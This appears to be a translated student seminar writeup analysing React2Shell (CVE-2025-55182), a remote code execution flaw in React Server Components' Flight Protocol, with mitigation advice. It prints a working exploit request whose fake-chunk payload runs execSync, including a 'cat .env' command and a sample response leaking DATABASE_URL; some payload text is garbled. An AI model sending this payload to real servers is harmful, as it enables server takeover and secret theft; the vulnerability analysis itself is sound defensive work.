
[Nosso FISA] Vencedor do seminário técnico - Equipe 3 da 6ª turma de desenvolvimento de serviços em nuvem - Análise e pesquisa do React2Shell (CVE-2025-55182)
Seminário técnico WooriFISA 6ª edição - Equipe 3: Análise e pesquisa da vulnerabilidade de execução remota de código (RCE) explorando a falha de design do React Server Component (RSC), React2Shell

| Membro | Função | GitHub |
|---|---|---|
| Nam Inseo | Pesquisa de dados, produção de PPT, apresentação | @sene03 |
| Yoo Seungjun | Pesquisa de dados, produção de PPT, apresentação | @fluanceifi |
| Lee Suhyeon | Pesquisa de dados, produção de PPT | @hyun793 |
| Kim Yujeong | Pesquisa de dados, produção de PPT | @yujung23 |
React2Shell(CVE-2025-55182) é uma vulnerabilidade crítica de segurança descoberta no processo de comunicação do Flight Protocol usado pelo React Server Component (RSC).
Para processar componentes, o React usa o Flight Protocol, que suporta tipos complexos como Promise, Blob, Map além de strings e arrays.
| Expressão | Tipo | Descrição |
|---|---|---|
$$ | Escaped $ | String literal começando com $ |
$@ | Promise/Chunk | Referência de ID de chunk |
O atacante explora as vulnerabilidades nessa forma de processamento do fluxo do protocolo para injetar scripts maliciosos e obter controle do servidor.
O atacante envia dados JSON para o servidor por meio de uma requisição contendo os cabeçalhos Next-Action e multipart/form-data. Nesse processo, inclui um chunk falso (Fake Chunk) disfarçado de objeto Promise no corpo da requisição.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then do chunk falso enviado pelo atacante é mapeado para Chunk.prototype.then._prefix é passado como argumento para Function.thenable de uma Promise, o código arbitrário colocado pelo atacante é executado no servidor.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value, o React divide a string pelo caractere dois pontos (:) e percorre o interior do objeto.$1:__proto__:then, é possível acessar o protótipo do chunk e o then desse objeto (Chunk.prototype.then).Esta vulnerabilidade causou grandes repercussões em todo o ecossistema web moderno.
O incidente React2Shell deixou a lição de que "desenvolvedores frontend também devem entender segurança de servidores".
Atualizar imediatamente os pacotes relacionados, como react-server-dom-webpack, para a versão mais recente (19.0.1+, etc.)
Frameworks que incorporam RSC, como Next.js, não são resolvidos apenas atualizando o React; é necessário verificar as notas de lançamento de segurança do próprio framework e atualizar para a versão mais recente.
Utilizar sistemas de monitoramento como Grafana e conectar a mídias que possam enviar alertas, como e-mail e Slack, configurando alarmes para que medidas imediatas possam ser tomadas.
Com o avanço da tecnologia, a área do frontend se expandiu e, consequentemente, o escopo da responsabilidade pela segurança também se ampliou, e é necessário reconhecer isso.
React2Shell: Guia completo de análise da vulnerabilidade CVE-2025-55182
Análise da vulnerabilidade de componentes de servidor React e caminhos de penetração do sistema